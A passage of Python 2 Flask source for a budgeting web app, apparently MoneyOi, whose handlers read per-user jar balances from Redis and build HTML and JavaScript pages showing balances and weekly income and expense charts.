src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <![endif]--> </head> <body style="font-family:Roboto; background-color:SLATEGRAY" ontouchstart=""> """ end_html = "</body></html>" history_style = """ html { height: 100%; } body { position: relative; min-height: 100%; -webkit-user-select: none; -webkit-touch-callout: none; } input[type="button"] { display: none; } .waiting-class { display:none; margin: auto; text-align: center; width:100%; height:100%; top:0; position:absolute; padding-top: 50%; background: rgba(0, 0, 0, 0.3) } table { width: 100%; } td { border-bottom: 1px solid DARKSLATEGRAY; padding-top:10px; padding-bottom:10px; } .save-class { text-align: center; font-weight: 300; background-color: DARKSLATEGRAY; height:35px; width: 100%; padding-top:7px; cursor: pointer; } .save-class:active { color:DARKSLATEGRAY; background-color: LIGHTGRAY; } .balance-label-class { background-color: DARKSLATEGRAY; border: 1px solid DARKSLATEGRAY; color: LIGHTGRAY; display: block; padding: 6px 0px; width: 100%; height: 100px; } .income-expense-label { background-color: DARKSLATEGRAY; border: 1px solid DARKSLATEGRAY; color: LIGHTGRAY; display: block; padding: 6px 0px; width: 100%; height: 70px; } .minus-button-label { color: TURQUOISE; cursor: pointer; display: block; text-align: center; } .minus-button-label:active { color: LIGHTGRAY; } .progress-class { background-color:LIGHTGRAY; height:3px; width:100%; } """ additional_html = """ <div class="balance-class"> <label class="balance-label-class"> <div class="col-xs-3" style="display:block; text-align:center; padding-top:20px; padding-left:15px; padding-right:0"> <p class="text-center"><img src="{jar_url}" style="cursor:pointer;width:40px;height:40px;" onclick="selectJar('{user_id}','{historyType}','{historyDate}')"></p> <p class="text-center" style="background-color:blue"> <div class="progress-class"> <div style="background-color:{progress_color}; height:100%; width:{progress}%"></div> </div> </p> </div> <div class="col-xs-9" style="padding-top:10px;"> <p class="text-left" style="font-weight:300;">{balance_caption} ({currency_sign})</p> <p class="text-left" style="font-weight:300; font-size:xx-large; color:white;">{balance_amt}</p> </div> </label> </div> <div class="income-expense"> <label class="income-expense-label"> <div class="col-xs-5" style="padding: 0;"> <input id="income-submit" type="button" onclick=addTransaction('{user_id}','history-new-income','{historyType}','{historyDate}')> <label for="income-submit" class="income-button-label" style="cursor:pointer; width:100%; padding-left:18px;"> <p class="text-left" style="font-weight:300;">{income_caption} &nbsp <i class="fa fa-plus" style="color:LIME"></i></p> <p class="text-left" style="color:white; font-weight:400;">{income_amt} {currency_sign}</p> </label> </div> <div class="col-xs-2" style="padding: 0"> <input id="minus-submit" type="button" onclick="addTransaction('{user_id}','history-new-expense','{historyType}','{historyDate}')"> <label for="minus-submit" class="minus-button-label"> <p ><i class="fa fa-minus-circle fa-4x"></i></p> </label> </div> <div class="col-xs-5" style="padding: 0"> <input id="expense-submit" type="button" onclick="addTransaction('{user_id}','history-new-expense','{historyType}','{historyDate}')"> <label for="expense-submit" class="expense-button-label" style="cursor:pointer; width:100%; padding-right:18px;"> <p class="text-right" style="font-weight:300;"> <i class="fa fa-minus" style="color:TOMATO"></i>&nbsp {expense_caption}</p> <p class="text-right" style="color:white; font-weight:400;">{expense_amt} {currency_sign}</p> </label> </div> </label> </div> <script> {select_jar} </script> """.format(user_id=user_id, balance_amt=balance_amt, income_amt=income_amt, expense_amt=expense_amt, historyType=historyType, historyDate=historyDate, progress_color=progress_color, progress=progress, jar_url=jar_url, select_jar=select_jar, currency_sign=currency_sign, balance_caption=balance_caption, income_caption=income_caption, expense_caption=expense_caption) if (historyType == ALL): additional_html = "" mid_html = """ <style> /*------ history style ---------*/ {history_style} </style> <div class="container"> <div style="background-color:DARKSLATEGRAY"> <h4> <p class="text-center" style="color:white;">{title}</p> </h4> </div> <div class="date-class" style="height:45px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <label style="font-weight: 300; background-color:DARKSLATEGRAY; height:40px; width: 100%; padding-left: 15px; padding-top:7px"> <i class="fa fa-calendar"></i>&nbsp <input type="month" id="theDate" onchange="monthChange('{user_id}','{historyType}')" style="cursor:pointer; width: calc(100% - 25px); background-color: DARKSLATEGRAY; border:none; outline:none; -webkit-appearance: none;"> <i id class="fa fa-angle-down" style="position:absolute; top:12px; right:15px"></i> </label> </div> </div> <div class="history-table-class" id="history-table" style="height:calc(100vh - {table_padding}); min-height:calc(630px - {table_padding}); overflow:auto; -webkit-overflow-scrolling: touch"> {table} </div> {additional_html} <p></p> <div class="button-class" style="height:40px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="back" type="button" onclick="back('{user_id}')"> <label class="save-class" for="back"> <i class="fa fa-angle-left" style="color:LIME;"></i>&nbsp {back_caption} </label> </div> </div> </div> <div id="waiting" class="waiting-class"> <i style="color:LIME" class="fa fa-spinner fa-pulse fa-3x fa-fw"></i> </div> <script> {addZero} {back} {monthChange} {editTransaction} {deleteTransaction} {mozilla_detect} document.getElementById('theDate').value = '{historyDate}'; </script> """.format(user_id=user_id, history_style=history_style, table=table, addZero=addZero, back=back, monthChange=monthChange, historyType=historyType, historyDate=historyDate, editTransaction=editTransaction, deleteTransaction=deleteTransaction, additional_html=additional_html, table_padding=table_padding, title=title, mozilla_detect=mozilla_detect, back_caption=back_caption) return begin_html + mid_html + end_html @app.route('/ReportPage/<user_id>/<reportType>/<reportDate>', methods=['POST']) def ReportPage(user_id, reportType, reportDate): print "ReportPage:user_id:"+user_id print "ReportPage:reportType:"+reportType print "ReportPage:reportDate:"+reportDate income_amt = 0 expense_amt = 0 balance_amt = 0 progress_color= "LIGHTGRAY" progress = 0 jar_url = "" user_dict = r.hmget(user_id, 'nec_income', 'edu_income', 'lts_income', 'ply_income', 'ffa_income', 'giv_income', 'nec_expense', 'edu_expense', 'lts_expense', 'ply_expense', 'ffa_expense', 'giv_expense', 'nec_prebal', 'edu_prebal', 'lts_prebal', 'ply_prebal', 'ffa_prebal', 'giv_prebal', 'currency', 'income_amt', 'expense_amt', 'pre_balance', 'language') currency = user_dict[18] language = user_dict[22] #load language json file with open('static/language.json') as f: language_data = json.load(f) #load currency json file with open('static/currency.json') as f: currency_data = json.load(f) title_caption=language_data[language]['report_page']['title_caption'].encode('utf-8') week_caption=language_data[language]['report_page']['week_caption'].encode('utf-8') balance_caption=language_data[language]['report_page']['balance_caption'].encode('utf-8') income_caption=language_data[language]['report_page']['income_caption'].encode('utf-8') expense_caption=language_data[language]['report_page']['expense_caption'].encode('utf-8') back_caption=language_data[language]['report_page']['back_caption'].encode('utf-8') for i in range(0,len(currency_data['currency'])): currency_code = currency_data['currency'][i]['currency_code'] if (currency == currency_code): currency_sign = currency_data['currency'][i]['currency_sign'] break income_amt = int(float(user_dict[19])) expense_amt = int(float(user_dict[20])) pre_balance = int(float(user_dict[21])) nec_income = int(float(user_dict[0])) edu_income = int(float(user_dict[1])) lts_income = int(float(user_dict[2])) ply_income = int(float(user_dict[3])) ffa_income = int(float(user_dict[4])) giv_income = int(float(user_dict[5])) nec_expense = int(float(user_dict[6])) edu_expense = int(float(user_dict[7])) lts_expense = int(float(user_dict[8])) ply_expense = int(float(user_dict[9])) ffa_expense = int(float(user_dict[10])) giv_expense = int(float(user_dict[11])) nec_prebal = int(float(user_dict[12])) edu_prebal = int(float(user_dict[13])) lts_prebal = int(float(user_dict[14])) ply_prebal = int(float(user_dict[15])) ffa_prebal = int(float(user_dict[16])) giv_prebal = int(float(user_dict[17])) balance_amt = income_amt - expense_amt + pre_balance nec_balance = nec_income - nec_expense + nec_prebal edu_balance = edu_income - edu_expense + edu_prebal lts_balance = lts_income - lts_expense + lts_prebal ply_balance = ply_income - ply_expense + ply_prebal ffa_balance = ffa_income - ffa_expense + ffa_prebal giv_balance = giv_income - giv_expense + giv_prebal if (reportType == ALL): if (balance_amt > 0): progress = int(float(balance_amt)/(balance_amt+expense_amt)*100) income_amt = "{:,}".format(income_amt) expense_amt = "{:,}".format(expense_amt) balance_amt = "{:,}".format(balance_amt) jar_url = "/static/all.png" if (reportType == NEC): income_amt = "{:,}".format(nec_income) expense_amt = "{:,}".format(nec_expense) balance_amt = "{:,}".format(nec_balance) jar_url = "/static/nec.png" if (nec_balance > 0): progress = int(float(nec_balance)/(nec_balance+nec_expense)*100) if (reportType == EDU): income_amt = "{:,}".format(edu_income) expense_amt = "{:,}".format(edu_expense) balance_amt = "{:,}".format(edu_balance) jar_url = "/static/edu.png" if (edu_balance > 0): progress = int(float(edu_balance)/(edu_balance+edu_expense)*100) if (reportType == LTS): income_amt = "{:,}".format(lts_income) expense_amt = "{:,}".format(lts_expense) balance_amt = "{:,}".format(lts_balance) jar_url = "/static/lts.png" if (lts_balance > 0): progress = int(float(lts_balance)/(lts_balance+lts_expense)*100) if (reportType == PLY): income_amt = "{:,}".format(ply_income) expense_amt = "{:,}".format(ply_expense) balance_amt = "{:,}".format(ply_balance) jar_url = "/static/ply.png" if (ply_balance > 0): progress = int(float(ply_balance)/(ply_balance+ply_expense)*100) if (reportType == FFA): income_amt = "{:,}".format(ffa_income) expense_amt = "{:,}".format(ffa_expense) balance_amt = "{:,}".format(ffa_balance) jar_url = "/static/ffa.png" if (ffa_balance > 0): progress = int(float(ffa_balance)/(ffa_balance+ffa_expense)*100) if (reportType == GIV): income_amt = "{:,}".format(giv_income) expense_amt = "{:,}".format(giv_expense) balance_amt = "{:,}".format(giv_balance) jar_url = "/static/giv.png" if (giv_balance > 0): progress = int(float(giv_balance)/(giv_balance+giv_expense)*100) if (progress >= 50): progress_color = "TURQUOISE" elif (progress >= 20): progress_color = "GOLD" else: progress_color = "TOMATO" week_income_amt = [0,0,0,0] week_expense_amt = [0,0,0,0] for key in r.hscan_iter(user_id, match=reportDate+'*'): key0 = key[0].split('-') key1 = key[1].split('-') ttype = key1[0] jar = key1[1] day = int(key0[2]) #skip repeat & break-out transactions if ((reportType == ALL) and (len(key0) == 7)): continue #filer transactions by jar if ((reportType != ALL) and (reportType != jar)): continue amount = int(float(key1[4])) if (day <= 7 ): x = 0 elif (day <= 14): x = 1 elif (day <= 21): x = 2 else: x = 3 if (ttype == TRANSACTION_TYPE_INCOME): week_income_amt[x] = week_income_amt[x] + amount else: week_expense_amt[x] = week_expense_amt[x] + amount bar_chart = """ var week1_income_amt = document.getElementById("week1_income_amt").value; var week1_expense_amt = document.getElementById("week1_expense_amt").value; var week2_income_amt = document.getElementById("week2_income_amt").value; var week2_expense_amt = document.getElementById("week2_expense_amt").value; var week3_income_amt = document.getElementById("week3_income_amt").value; var week3_expense_amt = document.getElementById("week3_expense_amt").value; var week4_income_amt = document.getElementById("week4_income_amt").value; var week4_expense_amt = document.getElementById("week4_expense_amt").value; var week_label=document.getElementById('week-label'); var income_label=document.getElementById('income-label'); var expense_label=document.getElementById('expense-label'); week1 = week_label.textContent + ' 1' week2 = week_label.textContent + ' 2' week3 = week_label.textContent + ' 3' week4 = week_label.textContent + ' 4' window.chartColors = { lime: 'rgb(0, 255, 0)', tomato: 'rgb(255, 99, 71)' }; Chart.defaults.global.defaultFontColor = "white"; var color = Chart.helpers.color; var barChartData = { labels: [week1, week2, week3, week4], datasets: [{ label: income_label.textContent, backgroundColor: color(window.chartColors.lime).alpha(0.5).rgbString(), borderColor: window.chartColors.lime, borderWidth: 1, data: [week1_income_amt,week2_income_amt,week3_income_amt,week4_income_amt] }, { label: expense_label.textContent, backgroundColor: color(window.chartColors.tomato).alpha(0.5).rgbString(), borderColor: window.chartColors.tomato, borderWidth: 1, data: [week1_expense_amt,week2_expense_amt,week3_expense_amt,week4_expense_amt] }] }; var ctx = document.getElementById('myChart'); new Chart(ctx, { type: 'bar', data: barChartData, options: { maintainAspectRatio: false, tooltips: { callbacks: { label: function (tooltipItem, data) { var tooltipLabel = data.datasets[tooltipItem.datasetIndex].label; var tooltipValue = data.datasets[tooltipItem.datasetIndex].data[tooltipItem.index]; return tooltipLabel+': '+tooltipValue.toLocaleString(); } } }, scales: { yAxes: [{ ticks: { beginAtZero: true, callback: function(value, index, values) { return value.toLocaleString(); } } }] } } }); """ addZero = """ function addZero(i) { if (i < 10) { i = "0" + i; } return i; } """ back = """ function back(user_id) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var d = new Date(); var today =d.getFullYear()+'-'+addZero(d.getMonth()+1)+'-'+addZero(d.getDate()); var xhr = new XMLHttpRequest(); xhr.open('POST', '/HomePage/'+user_id+'/'+today, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send("sender_id=ReportPage"); }; """ monthChange = """ function monthChange(user_id, reportType) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var reportDate = document.getElementById('theDate').value; url = '/ReportPage/' + user_id + '/' + reportType + '/' + reportDate; var xhr = new XMLHttpRequest(); xhr.open('POST', url, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send(); }; """ mozilla_detect = """ if(navigator.userAgent.toLowerCase().indexOf('firefox') > -1) { document.getElementById('theDate').readOnly="true"; } """ select_jar = """ function selectJar(user_id, reportType, reportDate) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/SelectJarPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send('sender_id=ReportPage'+'&jar='+reportType+'&date='+reportDate); } """ begin_html = """ <!DOCTYPE html> <html lang="en"> <head> <title>MoneyOi</title> <meta charset="utf-8"> <meta name="description" content="MoneyOi Cloud Native Application"> <meta name="author" content="moneyoi.herokuapp.com"> <meta name="keywords" content="moneyoi,free,6,six,jar,jars,app,money,method,management,cloud,native,application"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700"> <link rel="shortcut icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="apple-touch-icon" sizes="57x57" href="/static/apple-icon-57x57.png"> <link rel="apple-touch-icon" sizes="60x60" href="/static/apple-icon-60x60.png"> <link rel="apple-touch-icon" sizes="72x72" href="/static/apple-icon-72x72.png"> <link rel="apple-touch-icon" sizes="76x76" href="/static/apple-icon-76x76.png"> <link rel="apple-touch-icon" sizes="114x114" href="/static/apple-icon-114x114.png"> <link rel="apple-touch-icon" sizes="120x120" href="/static/apple-icon-120x120.png"> <link rel="apple-touch-icon" sizes="144x144" href="/static/apple-icon-144x144.png"> <link rel="apple-touch-icon" sizes="152x152" href="/static/apple-icon-152x152.png"> <link rel="apple-touch-icon" sizes="180x180" href="/static/apple-icon-180x180.png"> <link rel="icon" type="image/png" sizes="192x192" href="/static/android-icon-192x192.png"> <link rel="icon" type="image/png" sizes="32x32" href="/static/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="96x96" href="/static/favicon-96x96.png"> <link rel="icon" type="image/png" sizes="16x16" href="/static/favicon-16x16.png"> <link rel="manifest" href="/static/manifest.json"> <meta name="msapplication-TileColor" content="#ffffff"> <meta name="msapplication-TileImage" content="/static/ms-icon-144x144.png"> <meta name="msapplication-square70x70logo" content="/static/ms-icon-70x70.png"> <meta name="msapplication-square150x150logo" content="/static/ms-icon-150x150.png"> <meta name="msapplication-square310x310logo" content="/static/ms-icon-310x310.png"> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <![endif]--> <script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.7.3/Chart.min.js"></script> </head> <body style="font-family:Roboto; background-color:SLATEGRAY" ontouchstart=""> """ end_html = "</body></html>" report_style = """ html { height: 100%; } body { position: relative; min-height: 100%; -webkit-user-select: none; -webkit-touch-callout: none; } input[type="button"] { display: none; } .waiting-class { display:none; margin: auto; text-align: center; width:100%; height:100%; top:0; position:absolute; padding-top: 50%; background: rgba(0, 0, 0, 0.3) } table { width: 100%; } td { border-bottom: 1px solid DARKSLATEGRAY; padding-top:10px; padding-bottom:10px; } .save-class { text-align: center; font-weight: 300; background-color: DARKSLATEGRAY; height:35px; width: 100%; padding-top:7px; cursor: pointer; } .save-class:active { color:DARKSLATEGRAY; background-color: LIGHTGRAY; } .balance-label-class { background-color: DARKSLATEGRAY; border: 1px solid DARKSLATEGRAY; color: LIGHTGRAY; display: block; padding: 6px 0px; width: 100%; height: 100px; } .income-expense-label { background-color: DARKSLATEGRAY; border: 1px solid DARKSLATEGRAY; color: LIGHTGRAY; display: block; padding: 6px 0px; width: 100%; height: 70px; } .minus-button-label { color: TURQUOISE; cursor: pointer; display: block; text-align: center; } .minus-button-label:active { color: LIGHTGRAY; } .progress-class { background-color:LIGHTGRAY; height:3px; width:100%; } .report-class { position: relative; height:calc(100vh - 385px); width:100%; min-height:245px; } """ mid_html = """ <style> /*------ history style ---------*/ {report_style} </style> <div class="container"> <div style="background-color:DARKSLATEGRAY"> <h4> <p class="text-center" style="color:white;">{title_caption}</p> </h4> </div> <div class="date-class" style="height:45px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <label style="font-weight: 300; background-color:DARKSLATEGRAY; height:40px; width: 100%; padding-left: 15px; padding-top:7px"> <i class="fa fa-calendar"></i>&nbsp <input type="month" id="theDate" onchange="monthChange('{user_id}','{reportType}')" style="cursor:pointer; width: calc(100% - 25px); background-color: DARKSLATEGRAY; border:none; outline:none; -webkit-appearance: none;"> <i id class="fa fa-angle-down" style="position:absolute; top:12px; right:15px"></i> </label> </div> </div> <div class="report-class"> <canvas id="myChart"></canvas> <label id="week-label" style="display:none">{week_caption}</label> <label id="income-label" style="display:none">{income_caption}</label> <label id="expense-label" style="display:none">{expense_caption}</label> <li id="week1_income_amt" value="{week1_income_amt}" style="display:none"></li> <li id="week1_expense_amt" value="{week1_expense_amt}" style="display:none"></li> <li id="week2_income_amt" value="{week2_income_amt}" style="display:none"></li> <li id="week2_expense_amt" value="{week2_expense_amt}" style="display:none"></li> <li id="week3_income_amt" value="{week3_income_amt}" style="display:none"></li> <li id="week3_expense_amt" value="{week3_expense_amt}" style="display:none"></li> <li id="week4_income_amt" value="{week4_income_amt}" style="display:none"></li> <li id="week4_expense_amt" value="{week4_expense_amt}" style="display:none"></li> </div> <div class="balance-class"> <label class="balance-label-class"> <div class="col-xs-3" style="display:block; text-align:center; padding-top:20px; padding-left:15px; padding-right:0"> <p class="text-center"><img src="{jar_url}" style="cursor:pointer; width:40px;height:40px;" onclick="selectJar('{user_id}','{reportType}','{reportDate}')"></p> <p class="text-center" style="background-color:blue"> <div class="progress-class"> <div style="background-color:{progress_color}; height:100%; width:{progress}%"></div> </div> </p> </div> <div class="col-xs-9" style="padding-top:10px;"> <p class="text-left" style="font-weight:300;">{balance_caption} ({currency_sign})</p> <p class="text-left" style="font-weight:300; font-size:xx-large; color:white;">{balance_amt}</p> </div> </label> </div> <div class="income-expense"> <label class="income-expense-label"> <div class="col-xs-5" style="padding: 0;"> <input id="income-submit" type="button" onclick=addTransaction('{user_id}','report-new-income','{reportType}','{reportDate}')> <label for="income-submit" class="income-button-label" style="cursor:pointer; width:100%; padding-left:18px;"> <p class="text-left" style="font-weight:300;">{income_caption} &nbsp <i class="fa fa-plus" style="color:LIME"></i></p> <p class="text-left" style="color:white; font-weight:400;">{income_amt} {currency_sign}</p> </label> </div> <div class="col-xs-2" style="padding: 0"> <input id="minus-submit" type="button" onclick="addTransaction('{user_id}','report-new-expense','{reportType}','{reportDate}')"> <label for="minus-submit" class="minus-button-label"> <p ><i class="fa fa-minus-circle fa-4x"></i></p> </label> </div> <div class="col-xs-5" style="padding: 0"> <input id="expense-submit" type="button" onclick="addTransaction('{user_id}','report-new-expense','{reportType}','{reportDate}')"> <label for="expense-submit" class="expense-button-label" style="cursor:pointer; width:100%; padding-right:18px;"> <p class="text-right" style="font-weight:300;"> <i class="fa fa-minus" style="color:TOMATO"></i>&nbsp {expense_caption}</p> <p class="text-right" style="color:white; font-weight:400;">{expense_amt} {currency_sign}</p> </label> </div> </label> </div> <p></p> <div class="button-class" style="height:40px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="back" type="button" onclick="back('{user_id}')"> <label class="save-class" for="back"> <i class="fa fa-angle-left" style="color:LIME;"></i>&nbsp {back_caption} </label> </div> </div> </div> <div id="waiting" class="waiting-class"> <i style="color:LIME" class="fa fa-spinner fa-pulse fa-3x fa-fw"></i> </div> <script> {addZero} {back} {monthChange} {bar_chart} {mozilla_detect} {select_jar} document.getElementById('theDate').value = '{reportDate}'; </script> """.format(user_id=user_id, report_style=report_style, addZero=addZero, back=back, monthChange=monthChange, reportType=reportType, reportDate=reportDate, balance_amt=balance_amt, income_amt=income_amt, expense_amt=expense_amt, progress_color=progress_color, progress=progress, jar_url=jar_url, bar_chart=bar_chart, week1_income_amt=week_income_amt[0], week1_expense_amt=week_expense_amt[0], week2_income_amt=week_income_amt[1], week2_expense_amt=week_expense_amt[1], week3_income_amt=week_income_amt[2], week3_expense_amt=week_expense_amt[2], week4_income_amt=week_income_amt[3], week4_expense_amt=week_expense_amt[3], mozilla_detect=mozilla_detect, select_jar=select_jar, currency_sign=currency_sign, title_caption=title_caption, week_caption=week_caption, income_caption=income_caption, expense_caption=expense_caption, balance_caption=balance_caption, back_caption=back_caption) return begin_html + mid_html + end_html @app.route('/SettingPage/<user_id>', methods=['POST']) def SettingPage(user_id): print "SettingPage:user_id:"+user_id language = r.hget(user_id,'language') #load language json file with open('static/language.json') as f: language_data = json.load(f) title_caption=language_data[language]['settings_page']['title_caption'].encode('utf-8') general_setting_caption=language_data[language]['settings_page']['general_setting_caption'].encode('utf-8') jar_setting_caption=language_data[language]['settings_page']['jar_setting_caption'].encode('utf-8') recurring_transaction_caption=language_data[language]['settings_page']['recurring_transaction_caption'].encode('utf-8') guide_caption=language_data[language]['settings_page']['guide_caption'].encode('utf-8') fanpage_caption=language_data[language]['settings_page']['fanpage_caption'].encode('utf-8') feedback_caption=language_data[language]['settings_page']['feedback_caption'].encode('utf-8') back_caption=language_data[language]['settings_page']['back_caption'].encode('utf-8') version_caption=language_data[language]['general_setting_page']['version_caption'].encode('utf-8') begin_html = """ <!DOCTYPE html> <html lang="en"> <head> <title>MoneyOi</title> <meta charset="utf-8"> <meta name="description" content="MoneyOi Cloud Native Application"> <meta name="author" content="moneyoi.herokuapp.com"> <meta name="keywords" content="moneyoi,free,6,six,jar,jars,app,money,method,management,cloud,native,application"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700"> <link rel="shortcut icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="apple-touch-icon" sizes="57x57" href="/static/apple-icon-57x57.png"> <link rel="apple-touch-icon" sizes="60x60" href="/static/apple-icon-60x60.png"> <link rel="apple-touch-icon" sizes="72x72" href="/static/apple-icon-72x72.png"> <link rel="apple-touch-icon" sizes="76x76" href="/static/apple-icon-76x76.png"> <link rel="apple-touch-icon" sizes="114x114" href="/static/apple-icon-114x114.png"> <link rel="apple-touch-icon" sizes="120x120" href="/static/apple-icon-120x120.png"> <link rel="apple-touch-icon" sizes="144x144" href="/static/apple-icon-144x144.png"> <link rel="apple-touch-icon" sizes="152x152" href="/static/apple-icon-152x152.png"> <link rel="apple-touch-icon" sizes="180x180" href="/static/apple-icon-180x180.png"> <link rel="icon" type="image/png" sizes="192x192" href="/static/android-icon-192x192.png"> <link rel="icon" type="image/png" sizes="32x32" href="/static/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="96x96" href="/static/favicon-96x96.png"> <link rel="icon" type="image/png" sizes="16x16" href="/static/favicon-16x16.png"> <link rel="manifest" href="/static/manifest.json"> <meta name="msapplication-TileColor" content="#ffffff"> <meta name="msapplication-TileImage" content="/static/ms-icon-144x144.png"> <meta name="msapplication-square70x70logo" content="/static/ms-icon-70x70.png"> <meta name="msapplication-square150x150logo" content="/static/ms-icon-150x150.png"> <meta name="msapplication-square310x310logo" content="/static/ms-icon-310x310.png"> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <![endif]--> </head> <body style="font-family:Roboto; background-color:SLATEGRAY" ontouchstart=""> """ end_html = "</body></html>" general_setting = """ function general_setting(user_id) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/GeneralSettingPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send(); } """ jars_setting = """ function jars_setting(user_id) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/JarSettingPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send(); } """ recurring_transaction = """ function recurring_transaction(user_id) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/RecurringTransactionPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send(); } """ guide = """ function guide() { document.location.href = "https://moneyoi.io"; } """ addZero = """ function addZero(i) { if (i < 10) { i = "0" + i; } return i; } """ back = """ function back(user_id) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var d = new Date(); var today =d.getFullYear()+'-'+addZero(d.getMonth()+1)+'-'+addZero(d.getDate()); var xhr = new XMLHttpRequest(); xhr.open('POST', '/HomePage/'+user_id+'/'+today, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send("sender_id=SettingPage"); }; """ feedback = """ function feedback(version) { document.location.href = "mailto:support@moneyoi.io?subject=[MoneyOi CNA - "+version+"]"; } """ fanpage = """ function fanpage() { document.location.href = "https://www.facebook.com/MoneyOiApp"; } """ setting_style = """ html { height: 100%; } body { position: relative; min-height: 100%; -webkit-user-select: none; -webkit-touch-callout: none; } input[type="button"] { display: none; } .waiting-class { display:none; margin: auto; text-align: center; width:100%; height:100%; top:0; position:absolute; padding-top: 50%; background: rgba(0, 0, 0, 0.3) } .general-class { text-align: left; font-weight: 300; background-color: DARKSLATEGRAY; height:40px; width: 100%; padding-left:15px; padding-top:10px; cursor: pointer; } .general-class:active { color:DARKSLATEGRAY; background-color: LIGHTGRAY; } .back-class { text-align: center; font-weight: 300; background-color: DARKSLATEGRAY; height:35px; width: 100%; padding-top:7px; cursor: pointer; } .back-class:active { color:DARKSLATEGRAY; background-color: LIGHTGRAY; } """ mid_html = """ <style> /*------ addtransaction style ---------*/ {setting_style} </style> <div class="container"> <div style="background-color:DARKSLATEGRAY"> <h4> <p class="text-center" style="color:white;">{title_caption}</p> </h4> </div> <div class="button-class" style="height:45px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="general-setting" type="button" onclick="general_setting('{user_id}')"> <label class="general-class" for="general-setting"> <i class="fa fa-th" style="color:LIGHTGRAY;"></i>&nbsp {general_setting_caption} <i class="fa fa-angle-right" style="position:absolute; top:12px; right:15px"></i> </label> </div> </div> <div class="button-class" style="height:45px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="jars-setting" type="button" onclick="jars_setting('{user_id}')"> <label class="general-class" for="jars-setting"> <i class="fa fa-flask" style="color:LIGHTGRAY;"></i>&nbsp {jar_setting_caption} <i class="fa fa-angle-right" style="position:absolute; top:12px; right:15px"></i> </label> </div> </div> <div class="button-class" style="height:45px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="recurring-transaction" type="button" onclick="recurring_transaction('{user_id}')"> <label class="general-class" for="recurring-transaction"> <i class="fa fa-refresh" style="color:LIGHTGRAY;"></i>&nbsp {recurring_transaction_caption} <i class="fa fa-angle-right" style="position:absolute; top:12px; right:15px"></i> </label> </div> </div> <div class="button-class" style="height:45px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="guide" type="button" onclick="guide()"> <label class="general-class" for="guide"> <i class="fa fa-question-circle-o" style="color:LIGHTGRAY;"></i>&nbsp {guide_caption} <i class="fa fa-angle-right" style="position:absolute; top:12px; right:15px"></i> </label> </div> </div> <p></p> <div class="button-class" style="height:45px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="fanpage" type="button" onclick="fanpage()"> <label class="general-class" for="fanpage"> <i class="fa fa-facebook-official" style="color:LIGHTGRAY;"></i>&nbsp {fanpage_caption} <i class="fa fa-angle-right" 